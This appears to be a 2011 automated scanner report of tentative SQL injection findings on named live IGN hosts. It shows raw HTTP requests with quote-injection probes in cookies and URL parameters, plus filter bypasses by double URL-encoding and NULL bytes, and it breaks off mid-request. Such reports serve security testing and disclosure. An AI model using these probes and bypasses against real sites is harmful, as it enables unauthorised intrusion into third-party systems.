XSS, DORK, SQL Injection, HTTP Header Injection, Report for 2-6-2011

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://cheats.ign.com/index/xbox-360-cheats/index.html [i18n-cc cookie] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://cheats.ign.com
Path:	/index/xbox-360-cheats/index.html

Issue detail

The i18n-cc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the i18n-cc cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the i18n-cc cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index/xbox-360-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US%2527; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:19 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043179958v-2n-12mc+1297043179958mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 161198

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

GET /index/xbox-360-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US%2527%2527; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 2

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:20 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043180761v-2n-12mc+1297043180761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156025

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

1.2. http://cheats.ign.com/ob2/068/077/077723.html [optimizelyBuckets cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077723.html

Issue detail

The optimizelyBuckets cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the optimizelyBuckets cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /ob2/068/077/077723.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D'; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1963434885-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:46:55 GMT
Set-Cookie: freq=c-1297043215180v-2n-12mc+1297043215180mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<a href="http://www.eyewonderlabs.com/ct.cfm?ewbust=0&guid=0&ewadid=122610&eid=1420211&file=http://cdn.eyewonder.com/100125/765638/1420211/NOSCRIPTfailover.gif&pnl=MainBanner&type=0&name=Clickthru-NOSCRIPT&num=1&time=0&diff=0&clkX=&clkY=&click=http://www.facebook.com/marvelvscapcom3?v=app_163719520308859" target="_blank">
...[SNIP]...

Request 2

GET /ob2/068/077/077723.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D''; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 2

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043216021v-2n-12mc+1297043216021mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

1.3. http://cheats.ign.com/ob2/068/142/14235018.html [_br_uid_1 cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://cheats.ign.com
Path:	/ob2/068/142/14235018.html

Issue detail

The _br_uid_1 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the _br_uid_1 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /ob2/068/142/14235018.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A%00'; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:59 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-851431371-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:46:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043219281v-1n-12mc+1297043219281mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<a href="http://www.eyewonderlabs.com/ct.cfm?ewbust=0&guid=0&ewadid=134339&eid=1409677&file=http://cdn.eyewonder.com/100125/766781/1409677/NOSCRIPTfailover.jpg&pnl=MainBanner&type=0&name=Clickthru-NOSCRIPT&num=1&time=0&diff=0&clkX=&clkY=&click=http://clk.redcated/IWC/go/277893011/direct/01/" target="_blank">
...[SNIP]...

Request 2

GET /ob2/068/142/14235018.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A%00''; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response 2

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:47:01 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043221074v-2n-12mc+1297043221074mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129015

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect=

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect= HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:21:59 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect= HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://de.ign.com/
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:21:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:59 GMT
Connection: close

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect=http:/www.direct2drive.com/

Issue detail

Request 1

GET /event.ng/Type'=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect=http:/www.direct2drive.com/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
